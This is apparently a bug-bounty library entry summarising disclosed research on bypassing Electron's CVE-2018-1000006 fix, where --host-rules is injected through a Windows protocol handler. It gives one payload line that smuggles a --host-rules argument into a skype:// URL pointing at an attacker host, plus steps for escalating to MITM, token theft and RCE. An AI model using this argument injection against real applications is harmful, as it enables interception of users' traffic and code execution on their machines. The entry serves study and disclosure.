# Electron Windows Protocol Handler MITM/RCE (bypass for CVE-2018-1000006 fix)

Electron's CVE-2018-1000006 blacklist omitted --host-rules, letting a web page rewrite Chromium host mappings via protocol handler for MITM and RCE.

- Payout: Research
- Severity: high
- Program: Electron
- Credited: Doyensec
- Disclosed: 2018-05-23
- Write-up quality: 8/10
- Original: https://blog.doyensec.com/2018/05/24/electron-win-protocol-handler-bug-bypass.html
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-doyensec-com-2018-05-24-electron-win-protocol-handler-bug-bypass-html
- Tags: domain:desktop impact:data-leak impact:rce kind:research platform:research sev:high tech:chromium tech:electron technique:incomplete-fix technique:source-review vuln:command-injection vuln:misconfiguration vuln:rce

**Target:** Electron Windows custom protocol handler / command line argument validation
**Root cause:** The CVE-2018-1000006 fix used a static, binary-searched blacklist of Chromium/Node flags; --host-rules was missing, so it could still be injected after the URL argument.
**Steps:**
1. Identify affected app registering a protocol handler without dash-dash in registry (e.g. skype://).
2. Craft page: `window.location = 'skype://user?userinfo" --host-rules="MAP * evil.doyensec.com" --foobar='`
3. Victim visits page; app launches with injected --host-rules switch.
4. All Chromium traffic is rewritten to evil.doyensec.com, bypassing cert validation since connection goes to attacker host.
5. Serve malicious HTML to achieve XSS; with nodeIntegration enabled, escalate to RCE via Node APIs.
**How found:** Analyzed the CVE-2018-1000006 patch (command_line_args.cc blacklist) during a client engagement; noted blacklist-based validation is error-prone and audited for missing flags, spotting host-rules absent from the list.
**Exploitation:** Attacker hosts a page that navigates to the victim app's protocol URL with an injected --host-rules switch mapping all hosts to attacker domain. App launches, Chromium requests are transparently MITM'd, allowing theft of oauth tokens and injection of malicious HTML responses leading to XSS and, with nodeIntegration, RCE.
**Escalation:** MITM of Chromium traffic -> credential/token theft -> injected HTML XSS -> RCE when nodeIntegration enabled; requires chaining with nodeIntegration bypass or IPC abuse when sandboxed.
**Insight:** When a fix is a static blacklist of dangerous flags, enumerate the full flag set of the underlying runtime (Chromium/v8/Node) and diff against the list; flags that rewrite network resolution like --host-rules give transparent MITM without cert issues.